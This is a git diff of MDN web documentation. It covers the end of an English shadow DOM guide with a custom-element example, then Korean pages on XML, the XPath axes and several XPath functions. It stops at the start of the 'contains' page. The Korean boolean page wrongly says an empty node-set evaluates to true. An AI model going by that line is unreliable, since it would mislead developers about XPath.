+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14559/dom-screenshot.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p><em>Shadow</em> DOM allows hidden DOM trees to be attached to elements in the regular DOM tree — this shadow DOM tree starts with a shadow root, underneath which can be attached to any elements you want, in the same way as the normal DOM.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15788/shadow-dom.png" style="height: 543px; width: 1138px;"></p>
+
+<p>There are some bits of shadow DOM terminology to be aware of:</p>
+
+<ul>
+ <li><strong>Shadow host</strong>: The regular DOM node that the shadow DOM is attached to.</li>
+ <li><strong>Shadow tree</strong>: The DOM tree inside the shadow DOM.</li>
+ <li><strong>Shadow boundary</strong>: the place where the shadow DOM ends, and the regular DOM begins.</li>
+ <li><strong>Shadow root</strong>: The root node of the shadow tree.</li>
+</ul>
+
+<p>You can affect the nodes in the shadow DOM in exactly the same way as non-shadow nodes — for example appending children or setting attributes, styling individual nodes using element.style.foo, or adding style to the entire shadow DOM tree inside a {{htmlelement("style")}} element. The difference is that none of the code inside a shadow DOM can affect anything outside it, allowing for handy encapsulation.</p>
+
+<p>Note that the shadow DOM is not a new thing by any means — browsers have used it for a long time to encapsulate the inner structure of an element. Think for example of a {{htmlelement("video")}} element, with the default browser controls exposed. All you see in the DOM is the <code>&lt;video&gt;</code> element, but it contains a series of buttons and other controls inside its shadow DOM. The shadow DOM spec has made it so that you are allowed to actually manipulate the shadow DOM of your own custom elements.</p>
+
+<h2 id="Basic_usage">Basic usage</h2>
+
+<p>You can attach a shadow root to any element using the {{domxref("Element.attachShadow()")}} method. This takes as its parameter an options object that contains one option — <code>mode</code> — with a value of <code>open</code> or <code>closed</code>:</p>
+
+<pre class="brush: js notranslate">let shadow = elementRef.attachShadow({mode: 'open'});
+let shadow = elementRef.attachShadow({mode: 'closed'});</pre>
+
+<p><code>open</code> means that you can access the shadow DOM using JavaScript written in the main page context, for example using the {{domxref("Element.shadowRoot")}} property:</p>
+
+<pre class="brush: js notranslate">let myShadowDom = myCustomElem.shadowRoot;</pre>
+
+<p>If you attach a shadow root to a custom element with <code>mode: closed</code> set, you won't be able to access the shadow DOM from the outside — <code>myCustomElem.shadowRoot</code> returns <code>null</code>. This is the case with built in elements that contain shadow DOMs, such as <code>&lt;video&gt;</code>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As <a href="https://blog.revillweb.com/open-vs-closed-shadow-dom-9f3d7427d1af">this blog post shows</a>, it is actually fairly easy to work around closed shadow DOMs, and the hassle to completely hide them is often more than it's worth.</p>
+</div>
+
+<p>If you are attaching a shadow DOM to a custom element as part of its constructor (by far the most useful application of the shadow DOM), you would use something like this:</p>
+
+<pre class="brush: js notranslate">let shadow = this.attachShadow({mode: 'open'});</pre>
+
+<p>When you've attached a shadow DOM to an element, manipulating it is a matter of just using the same DOM APIs as you use for the regular DOM manipulation:</p>
+
+<pre class="brush: js notranslate">var para = document.createElement('p');
+shadow.appendChild(para);
+// etc.</pre>
+
+<h2 id="Working_through_a_simple_example">Working through a simple example</h2>
+
+<p>Now let's walk through a simple example to demonstrate the shadow DOM in action inside a custom element — <code><a href="https://github.com/mdn/web-components-examples/tree/master/popup-info-box-web-component">&lt;popup-info-box&gt;</a></code> (see a <a href="https://mdn.github.io/web-components-examples/popup-info-box-web-component/">live example</a> also). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information. To begin with, in our JavaScript file we define a class called <code>PopUpInfo</code>, which extends <code>HTMLElement</code>:</p>
+
+<pre class="brush: js notranslate">class PopUpInfo extends HTMLElement {
+ constructor() {
+ // Always call super first in constructor
+ super();
+
+ // write element functionality in here
+
+ ...
+ }
+}</pre>
+
+<p>Inside the class definition we define the element's constructor, which defines all the functionality the element will have when an instance of it is instantiated.</p>
+
+<h3 id="Creating_the_shadow_root">Creating the shadow root</h3>
+
+<p>We first attach a shadow root to the custom element:</p>
+
+<pre class="brush: js notranslate">// Create a shadow root
+var shadow = this.attachShadow({mode: 'open'});</pre>
+
+<h3 class="brush: js" id="Creating_the_shadow_DOM_structure">Creating the shadow DOM structure</h3>
+
+<p class="brush: js">Next, we use some DOM manipulation to create the element's internal shadow DOM structure:</p>
+
+<pre class="brush: js notranslate">// Create spans
+var wrapper = document.createElement('span');
+wrapper.setAttribute('class','wrapper');
+var icon = document.createElement('span');
+icon.setAttribute('class','icon');
+icon.setAttribute('tabindex', 0);
+var info = document.createElement('span');
+info.setAttribute('class','info');
+
+// Take attribute content and put it inside the info span
+var text = this.getAttribute('text');
+info.textContent = text;
+
+// Insert icon
+var imgUrl;
+if(this.hasAttribute('img')) {
+ imgUrl = this.getAttribute('img');
+} else {
+ imgUrl = 'img/default.png';
+}
+var img = document.createElement('img');
+img.src = imgUrl;
+icon.appendChild(img);
+</pre>
+
+<h3 class="brush: js" id="Styling_the_shadow_DOM">Styling the shadow DOM</h3>
+
+<p class="brush: js">After that we create a {{htmlelement("style")}} element and populate it with some CSS to style it:</p>
+
+<pre class="brush: js notranslate">// Create some CSS to apply to the shadow dom
+var style = document.createElement('style');
+
+style.textContent = `
+.wrapper {
+ position: relative;
+}
+
+.info {
+ font-size: 0.8rem;
+ width: 200px;
+ display: inline-block;
+ border: 1px solid black;
+ padding: 10px;
+ background: white;
+ border-radius: 10px;
+ opacity: 0;
+ transition: 0.6s all;
+ position: absolute;
+ bottom: 20px;
+ left: 10px;
+ z-index: 3;
+}
+
+img {
+ width: 1.2rem;
+}
+
+.icon:hover + .info, .icon:focus + .info {
+ opacity: 1;
+}`;
+
+</pre>
+
+<h3 id="Attaching_the_shadow_DOM_to_the_shadow_root">Attaching the shadow DOM to the shadow root</h3>
+
+<p>The final step is to attach all the created elements to the shadow root:</p>
+
+<pre class="brush: js notranslate">// attach the created elements to the shadow dom
+shadow.appendChild(style);
+shadow.appendChild(wrapper);
+wrapper.appendChild(icon);
+wrapper.appendChild(info);</pre>
+
+<h3 id="Using_our_custom_element">Using our custom element</h3>
+
+<p>Once the class is defined, using the element is as simple as defining it, and putting it on the page, as explained in <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a>:</p>
+
+<pre class="brush: js notranslate">// Define the new element
+customElements.define('popup-info', PopUpInfo);</pre>
+
+<pre class="brush: html notranslate">&lt;<span class="pl-ent">popup-info</span> <span class="pl-e">img</span>=<span class="pl-s"><span class="pl-pds">"</span>img/alt.png<span class="pl-pds">"</span></span> <span class="pl-e">text</span>=<span class="pl-s"><span class="pl-pds">"</span>Your card validation code (CVC) is an extra
+ security feature — it is the last 3 or 4
+ numbers on the back of your card.<span class="pl-pds">"</span></span>&gt;</pre>
+
+<div>
+<h3 id="Internal_versus_external_styles">Internal versus external styles</h3>
+
+<p>In the above example we apply style to the Shadow DOM using a {{htmlelement("style")}} element, but it is perfectly possible to do it by referencing an external stylesheet from a {{htmlelement("link")}} element instead.</p>
+
+<p>For example, take a look at this code from our <a href="https://mdn.github.io/web-components-examples/popup-info-box-external-stylesheet/">popup-info-box-external-stylesheet</a> example (see the <a href="https://github.com/mdn/web-components-examples/blob/master/popup-info-box-external-stylesheet/main.js">source code</a>):</p>
+
+<pre class="brush: js notranslate">// Apply external styles to the shadow dom
+const linkElem = document.createElement('link');
+linkElem.setAttribute('rel', 'stylesheet');
+linkElem.setAttribute('href', 'style.css');
+
+// Attach the created element to the shadow dom
+shadow.appendChild(linkElem);</pre>
+
+<p>Note that {{htmlelement("link")}} elements do not block paint of the shadow root, so there may be a flash of unstyled content (FOUC) while the stylesheet loads.</p>
+
+<p>Many modern browsers implement an optimization for {{htmlelement("style")}} tags either cloned from a common node or that have identical text, to allow them to share a single backing stylesheet. With this optimization the performance of external and internal styles should be similar.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_custom_elements">Using custom elements</a></li>
+ <li><a href="/en-US/docs/Web/Web_Components/Using_templates_and_slots">Using templates and slots</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/xml/index.html b/files/ko/web/xml/index.html
new file mode 100644
index 0000000000..64baefe8fb
--- /dev/null
+++ b/files/ko/web/xml/index.html
@@ -0,0 +1,17 @@
+---
+title: 'XML: Extensible Markup Language'
+slug: Web/XML
+tags:
+ - Draft
+ - Landing
+ - NeedsTranslation
+ - TopicStub
+ - Web
+ - XML
+translation_of: Web/XML
+---
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/XML")}}{{Draft}}</p>
+
+<p class="summary"><strong>확장가능한 마크업 언어(XML)는</strong> 엄격하게 직렬화 된 DOM(돔 오브젝트 모델)입니다.</p>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/ko/web/xml/xml_introduction/index.html b/files/ko/web/xml/xml_introduction/index.html
new file mode 100644
index 0000000000..a1a549be14
--- /dev/null
+++ b/files/ko/web/xml/xml_introduction/index.html
@@ -0,0 +1,33 @@
+---
+title: XML Introduction
+slug: Web/XML/XML_Introduction
+tags:
+ - XML
+translation_of: Web/XML/XML_introduction
+---
+<h3 id="XML.EC.9D.B4.EB.9E.80.3F" name="XML.EC.9D.B4.EB.9E.80.3F">XML이란?</h3>
+<p>XML은 <b>Extensible Markup Language</b>을 뜻하며, <a class="external" href="http://www.w3.org/">W3C 권고</a> 범용 마크업 언어다. XML은 SGML의 부분집합이다.</p>
+<p>많은 언어가 XML을 기반으로 한다; 예로 <a href="ko/XHTML">XHTML</a>, <a href="ko/MathML">MathML</a>, <a href="ko/SVG">SVG</a>, <a href="ko/XUL">XUL</a>, <a href="ko/RSS">RSS</a>, 그리고 <a href="ko/RDF">RDF</a> 는 모두 XML기반이다.</p>
+<h3 id=".EC.99.9C_HTML_.EC.9D.B4_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EC.A7.80_.EC.95.8A.EB.8A.94.EA.B0.80" name=".EC.99.9C_HTML_.EC.9D.B4_.EC.A0.9C.EB.8C.80.EB.A1.9C_.EB.8F.99.EC.9E.91.ED.95.98.EC.A7.80_.EC.95.8A.EB.8A.94.EA.B0.80">왜 HTML 이 제대로 동작하지 않는가</h3>
+<p>HTML 마크업은 오로지 표시 목적으로 설계된 고정된 언어이고, 반면 XML은 사용자 정의이고 데이터 내용을 정의할 때 사용된다.</p>
+<p>HTML은 세 영역으로 제한된다: 지능, 유지보수, 그리고 적용. XML은 강력하다 지능, 적용, 유지보수, 그리고 간결성.</p>
+<p>XML은 HTML과 다르지만, <a class="external" href="http://developer.mozilla.org/docs/XSLT">XSLT</a>과 함께하면 함께 사용할 수 있다 .</p>
+<h3 id=".22.EB.B0.94.EB.A5.B8.22_XML" name=".22.EB.B0.94.EB.A5.B8.22_XML">"바른" XML</h3>
+<p>XML 문서가 바르기 위해 well-formed 문서여야 하며, 모든 XML의 문법 규칙을 지켜야 한다. Mozilla를 포함한 대부분의 브라우저는 poorly-formed XML 문서를 식별할 수 있는 디버거를 제공한다 .</p>
+<h3 id="XML_.ED.91.9C.EC.8B.9C" name="XML_.ED.91.9C.EC.8B.9C">XML 표시</h3>
+<p>XML이 presentation을 도울 수 있는 두 가지 방법이 있어, HTML을 변환하여 PDF 또는 image code를 만드는 것으로부터 다양한 표현방법에 적용한다.</p>
+<p>스타일을 사용하는 한 방법은 XML 페이지가 <code>xml-stylesheet</code> 선언을 가진 CSS를 사용하는 것이다 .</p>
+<pre>&lt;?xml-stylesheet type="text/css" href="stylesheet.css"?&gt;</pre>
+<p>XML 마크업을 다른 형식으로 변환할 수 있는 강력한 XSLT와 결합하여, XML은 믿을 수 없을 정도로 다재다능하다.</p>
+<pre>&lt;?xml-stylesheet type="text/xsl" href="transform.xsl"?&gt;</pre>
+<h3 id=".EA.B6.8C.EA.B3.A0" name=".EA.B6.8C.EA.B3.A0">권고</h3>
+<p>이 글은 XML이 무엇인가에 대한 짧은 소개일 뿐이다 ; XML에 대한 좀 더 자세한 것을 위해서는 좀더 깊이 있는 글을 웹에서 찾아보아야 할 것이다.</p>
+<p>HTML 마크업 언어를 배우는 것은 XML을 잘 이해하는 데 도움이 될 것이다. 더 많은 정보를 위해 Mozilla Developer Center를 여행해야 할 것입니다.</p>
+<div class="originaldocinfo">
+ <h3 id=".EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4" name=".EB.AC.B8.EC.84.9C_.EC.A0.95.EB.B3.B4">문서 정보</h3>
+ <ul>
+ <li>저자: Justin G. Shreve</li>
+ <li>최종 변경일: 5월 19일</li>
+ </ul>
+</div>
+<p>{{ languages( { "en": "en/XML_Introduction", "fr": "fr/Introduction_\u00e0_XML", "pl": "pl/Wprowadzenie_do_XMLa" } ) }}</p>
diff --git a/files/ko/web/xpath/axes/ancestor-or-self/index.html b/files/ko/web/xpath/axes/ancestor-or-self/index.html
new file mode 100644
index 0000000000..64b0c2f190
--- /dev/null
+++ b/files/ko/web/xpath/axes/ancestor-or-self/index.html
@@ -0,0 +1,7 @@
+---
+title: ancestor-or-self
+slug: Web/XPath/Axes/ancestor-or-self
+translation_of: Web/XPath/Axes/ancestor-or-self
+---
+<p><code>ancestor-or-self</code> 축은 문맥 노드와 루트 노드를 포함하는 문맥 노드의 조상 모두를 나타냅니다.</p>
+<p> </p>
diff --git a/files/ko/web/xpath/axes/ancestor/index.html b/files/ko/web/xpath/axes/ancestor/index.html
new file mode 100644
index 0000000000..b7bc4ac0c4
--- /dev/null
+++ b/files/ko/web/xpath/axes/ancestor/index.html
@@ -0,0 +1,7 @@
+---
+title: ancestor
+slug: Web/XPath/Axes/ancestor
+translation_of: Web/XPath/Axes/ancestor
+---
+<p><code>ancestor</code> 축은 부모 노드부터 시작하여 루트 노드까지 항해하는 문맥 노드의 모든 조상을 나타냅니다.</p>
+<p> </p>
diff --git a/files/ko/web/xpath/axes/attribute/index.html b/files/ko/web/xpath/axes/attribute/index.html
new file mode 100644
index 0000000000..309f584fed
--- /dev/null
+++ b/files/ko/web/xpath/axes/attribute/index.html
@@ -0,0 +1,6 @@
+---
+title: attribute
+slug: Web/XPath/Axes/attribute
+translation_of: Web/XPath/Axes/attribute
+---
+<p><code>attribute</code> 축은 문맥 노드의 속성을 나타냅니다. 오직 요소만 속성이 있습니다. 이 축은 at sign(@)으로 줄여 쓸 수 있습니다.</p>
diff --git a/files/ko/web/xpath/axes/child/index.html b/files/ko/web/xpath/axes/child/index.html
new file mode 100644
index 0000000000..4480500450
--- /dev/null
+++ b/files/ko/web/xpath/axes/child/index.html
@@ -0,0 +1,6 @@
+---
+title: child
+slug: Web/XPath/Axes/child
+translation_of: Web/XPath/Axes/child
+---
+<p><code>child</code> 축은 문맥 노드의 자식을 나타냅니다. XPath 식이 축을 지정하지 않으면, <code>child</code> 축은 기본값으로 이해합니다. 오직 루트 노드나 요소 노드만 자식이 있기 때문에, 다른 경우에는 아무것도 선택하지 않습니다.</p>
diff --git a/files/ko/web/xpath/axes/descendant-or-self/index.html b/files/ko/web/xpath/axes/descendant-or-self/index.html
new file mode 100644
index 0000000000..1f5d73ceba
--- /dev/null
+++ b/files/ko/web/xpath/axes/descendant-or-self/index.html
@@ -0,0 +1,6 @@
+---
+title: descendant-or-self
+slug: Web/XPath/Axes/descendant-or-self
+translation_of: Web/XPath/Axes/descendant-or-self
+---
+<p><code>descendant-or-self</code> 축은 문맥 노드와 문맥 노드의 모든 자손을 나타냅니다. 속성과 이름공간 노드는 포함하지 않습니다. 속성 노드의 parent 축이 요소 노드이지만 속성 노드는 그 부모의 자식이 아닙니다.</p>
diff --git a/files/ko/web/xpath/axes/descendant/index.html b/files/ko/web/xpath/axes/descendant/index.html
new file mode 100644
index 0000000000..b15d4e7f6d
--- /dev/null
+++ b/files/ko/web/xpath/axes/descendant/index.html
@@ -0,0 +1,6 @@
+---
+title: descendant
+slug: Web/XPath/Axes/descendant
+translation_of: Web/XPath/Axes/descendant
+---
+<p><code>descendant</code> 축은 문맥 노드의 모든 자식과 자식의 자식 따위를 나타냅니다. 속성과 이름공간 노드는 포함하지 않습니다. 속성 노드의 parent 축이 요소 노드이지만 속성 노드는 그 부모의 자식이 아닙니다.</p>
diff --git a/files/ko/web/xpath/axes/following-sibling/index.html b/files/ko/web/xpath/axes/following-sibling/index.html
new file mode 100644
index 0000000000..f6d2896ffc
--- /dev/null
+++ b/files/ko/web/xpath/axes/following-sibling/index.html
@@ -0,0 +1,6 @@
+---
+title: following-sibling
+slug: Web/XPath/Axes/following-sibling
+translation_of: Web/XPath/Axes/following-sibling
+---
+<p><code>following-sibling</code> 축은 문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 다음에 보이는 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/following/index.html b/files/ko/web/xpath/axes/following/index.html
new file mode 100644
index 0000000000..eeccb55425
--- /dev/null
+++ b/files/ko/web/xpath/axes/following/index.html
@@ -0,0 +1,6 @@
+---
+title: following
+slug: Web/XPath/Axes/following
+translation_of: Web/XPath/Axes/following
+---
+<p><code>following</code> 축은 자손, 속성, 이름공간 노드를 제외한 문맥 노드 다음에 나오는 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/index.html b/files/ko/web/xpath/axes/index.html
new file mode 100644
index 0000000000..77fc7630b2
--- /dev/null
+++ b/files/ko/web/xpath/axes/index.html
@@ -0,0 +1,70 @@
+---
+title: Axes
+slug: Web/XPath/Axes
+tags:
+ - XPath
+ - XPath_Reference
+ - XSLT_Reference
+translation_of: Web/XPath/Axes
+---
+<p>{{ XsltRef() }} <a href="ko/XPath">XPath</a> 명세에는 축이 13가지가 있습니다. 축은 문맥 노드와의 관계를 나타내고 트리 위에 문맥 노드에 대응하여 노드를 위치시킬 때 씁니다. 다음은 이용가능한 축 13가지와 <a href="ko/Gecko">Gecko</a>에서 가능한 지원 정도에 대한 매우 짧은 설명입니다.</p>
+<p>XPath 식 사용에 관한 추가 정보는, <a href="ko/Transforming_XML_with_XSLT">Transforming XML with XSLT</a> 문서 끝 <a href="ko/Transforming_XML_with_XSLT/For_Further_Reading">For Further Reading</a> 절을 보세요.</p>
+<p> </p>
+<dl>
+ <dt>
+ <a href="ko/XPath/Axes/ancestor">ancestor</a></dt>
+ <dd>
+ 부모 노드부터 시작하여 루트 노드까지 항해하는 문맥 노드의 모든 조상을 나타냅니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/ancestor-or-self">ancestor-or-self</a></dt>
+ <dd>
+ 문맥 노드와 루트 노드를 포함하는 문맥 노드의 조상 모두를 나타냅니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/attribute">attribute</a></dt>
+ <dd>
+ 문맥 노드의 속성을 나타냅니다. 오직 요소만 속성이 있습니다. 이 축은 at sign(<code>@</code>)으로 줄여 쓸 수 있습니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/child">child</a></dt>
+ <dd>
+ 문맥 노드의 자식을 나타냅니다. XPath 식이 축을 지정하지 않으면 기본값으로 이해합니다. 오직 루트 노드나 요소 노드만 자식이 있기 때문에, 다른 경우에는 아무것도 선택하지 않습니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/descendant">descendant</a></dt>
+ <dd>
+ 문맥 노드의 모든 자식과 자식의 자식 따위를 나타냅니다. 속성과 이름공간 노드는 포함하지 <b>않습니다</b>. <code>속성</code> 노드의 <code>parent</code> 축이 요소 노드이지만 <code>속성</code> 노드는 그 부모의 자식이 아닙니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/descendant-or-self">descendant-or-self</a></dt>
+ <dd>
+ 문맥 노드와 문맥 노드의 모든 자손을 나타냅니다. 속성과 이름공간 노드는 포함하지 <b>않습니다</b>. <code>속성</code> 노드의 <code>parent</code> 축이 요소 노드이지만 <code>속성</code> 노드는 그 부모의 자식이 아닙니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/following">following</a></dt>
+ <dd>
+ <code>자손</code>, <code>속성</code>, <code>이름공간</code> 노드를 제외한 문맥 노드 다음에 나오는 모든 노드를 나타냅니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/following-sibling">following-sibling</a></dt>
+ <dd>
+ 문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 다음에 보이는 모든 노드를 나타냅니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/namespace">namespace</a>
+ <i>
+ (지원 안 함)</i>
+ </dt>
+ <dd>
+ 문맥 노드 범위(scope) 안에 있는 모든 노드를 나타냅니다. 이 경우에, 문맥 노드는 요소 노드이어야 합니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/parent">parent</a></dt>
+ <dd>
+ 문맥 노드의 부모 노드만을 나타냅니다. 마침표 둘(<code>..</code>)로 줄여 쓸 수 있습니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/preceding">preceding</a></dt>
+ <dd>
+ <code>조상</code>, <code>속성</code>, <code>이름공간</code> 노드를 제외한 문서 안에서 문맥 노드를 앞선 모든 노드를 나타냅니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/preceding-sibling">preceding-sibling</a></dt>
+ <dd>
+ 문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 앞에 나오는 모든 노드를 나타냅니다.</dd>
+ <dt>
+ <a href="ko/XPath/Axes/self">self</a></dt>
+ <dd>
+ 문맥 노드 자신를 나타냅니다. 마침표 하나(<code>.</code>)로 줄여 쓸 수 있습니다.</dd>
+</dl>
+<p>{{ languages( { "en": "en/XPath/Axes", "pl": "pl/XPath/Osie" } ) }}</p>
diff --git a/files/ko/web/xpath/axes/namespace/index.html b/files/ko/web/xpath/axes/namespace/index.html
new file mode 100644
index 0000000000..fb0b9fff79
--- /dev/null
+++ b/files/ko/web/xpath/axes/namespace/index.html
@@ -0,0 +1,10 @@
+---
+title: namespace
+slug: Web/XPath/Axes/namespace
+translation_of: Web/XPath/Axes/namespace
+---
+<p>
+ <i>
+ (지원 안 함)</i>
+</p>
+<p><code>namespace</code> 축은 문맥 노드 범위(scope) 안에 있는 모든 노드를 나타냅니다. 이 경우에, 문맥 노드는 요소 노드이어야 합니다.</p>
diff --git a/files/ko/web/xpath/axes/parent/index.html b/files/ko/web/xpath/axes/parent/index.html
new file mode 100644
index 0000000000..7dc175f09a
--- /dev/null
+++ b/files/ko/web/xpath/axes/parent/index.html
@@ -0,0 +1,6 @@
+---
+title: parent
+slug: Web/XPath/Axes/parent
+translation_of: Web/XPath/Axes/parent
+---
+<p><code>parent</code> 축은 문맥 노드의 부모 노드만을 나타냅니다. 마침표 둘(..)로 줄여 쓸 수 있습니다.</p>
diff --git a/files/ko/web/xpath/axes/preceding-sibling/index.html b/files/ko/web/xpath/axes/preceding-sibling/index.html
new file mode 100644
index 0000000000..1392c91ad0
--- /dev/null
+++ b/files/ko/web/xpath/axes/preceding-sibling/index.html
@@ -0,0 +1,6 @@
+---
+title: preceding-sibling
+slug: Web/XPath/Axes/preceding-sibling
+translation_of: Web/XPath/Axes/preceding-sibling
+---
+<p><code>preceding-sibling</code> 축은 문맥 노드와 부모가 같고 소스 문서에서 문맥 노드 앞에 나오는 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/preceding/index.html b/files/ko/web/xpath/axes/preceding/index.html
new file mode 100644
index 0000000000..5ed262df52
--- /dev/null
+++ b/files/ko/web/xpath/axes/preceding/index.html
@@ -0,0 +1,6 @@
+---
+title: preceding
+slug: Web/XPath/Axes/preceding
+translation_of: Web/XPath/Axes/preceding
+---
+<p><code>preceding</code> 축은 조상, 속성, 이름공간 노드를 제외한 문서 안에서 문맥 노드를 앞선 모든 노드를 나타냅니다.</p>
diff --git a/files/ko/web/xpath/axes/self/index.html b/files/ko/web/xpath/axes/self/index.html
new file mode 100644
index 0000000000..a2835581b4
--- /dev/null
+++ b/files/ko/web/xpath/axes/self/index.html
@@ -0,0 +1,6 @@
+---
+title: self
+slug: Web/XPath/Axes/self
+translation_of: Web/XPath/Axes/self
+---
+<p><code>self</code> 축은 문맥 노드 자신를 나타냅니다. 마침표 하나(.)로 줄여 쓸 수 있습니다.</p>
diff --git a/files/ko/web/xpath/functions/boolean/index.html b/files/ko/web/xpath/functions/boolean/index.html
new file mode 100644
index 0000000000..2259c3e313
--- /dev/null
+++ b/files/ko/web/xpath/functions/boolean/index.html
@@ -0,0 +1,39 @@
+---
+title: boolean
+slug: Web/XPath/Functions/boolean
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/boolean
+---
+<p>{{ XsltRef() }}</p>
+<p> </p>
+<p><code>boolean</code> 함수는 식을 평가하고 참이나 거짓을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">boolean(<i>expression</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ expression</i>
+ </code></dt>
+ <dd>
+ 평가하는 식. 식은 부울 뿐만 아니라 수와 노드 집합도 참조할 수 있습니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p><code>
+ <i>
+ expression</i>
+ </code>을 평가한 뒤 부울값 <code>true</code>나 <code>false</code>.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>수가 (+/-) 0이나 <code>NaN</code>이면 false로 평가합니다. 그렇지 않으면, true로 평가합니다.</li>
+ <li>노드 집합이 비어 있으면 true로 평가합니다.</li>
+ <li>문자열이 비어 있으면 false로 평가합니다. 그렇지 않으면, true로 평가합니다.</li>
+ <li>네 가지 기본 타입 이외의 타입 개체는 그 타입 나름의 방법으로 부울로 변환합니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-boolean">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/ceiling/index.html b/files/ko/web/xpath/functions/ceiling/index.html
new file mode 100644
index 0000000000..cd671738fa
--- /dev/null
+++ b/files/ko/web/xpath/functions/ceiling/index.html
@@ -0,0 +1,41 @@
+---
+title: ceiling
+slug: Web/XPath/Functions/ceiling
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/ceiling
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>ceiling</code> 함수는 10진수를 평가하고 10진수보다 작지 않은 가장 작은 정수를 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">ceiling(<i>number</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ number</i>
+ </code></dt>
+ <dd>
+ 평가할 수.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p><code>
+ <i>
+ number</i>
+ </code>보다 작지 않은 가장 작은 정수.</p>
+<p>예를 들어,</p>
+<p><code>    ceiling (
+ <i>
+ 5.2</i>
+ )</code> = <var>6</var></p>
+<p><code>    ceiling (
+ <i>
+ -5.2</i>
+ )</code> = <var>-5</var></p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-ceiling">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/concat/index.html b/files/ko/web/xpath/functions/concat/index.html
new file mode 100644
index 0000000000..82162ff93a
--- /dev/null
+++ b/files/ko/web/xpath/functions/concat/index.html
@@ -0,0 +1,29 @@
+---
+title: concat
+slug: Web/XPath/Functions/concat
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/concat
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>concat</code> 함수는 둘 또는 둘 이상의 문자열을 연결하고 연결한 문자열을 반환합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre class="eval">concat(<i>string<sub>1</sub></i> ,<i>string<sub>2</sub></i> [,<i>string<sub>n</sub></i>]* )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ string<sub>n</sub></i>
+ </code></dt>
+ <dd>
+ 이 함수는 둘 또는 둘 이상의 인수를 받습니다. 각각은 문자열입니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>함수에 인수로 건넨 모든 문자열을 연결한 단일 문자열.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-concat">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/contains/index.html b/files/ko/web/xpath/functions/contains/index.html
new file mode 100644
index 0000000000..360e5dc39c
--- /dev/null
+++ b/files/ko/web/xpath/functions/contains/index.html
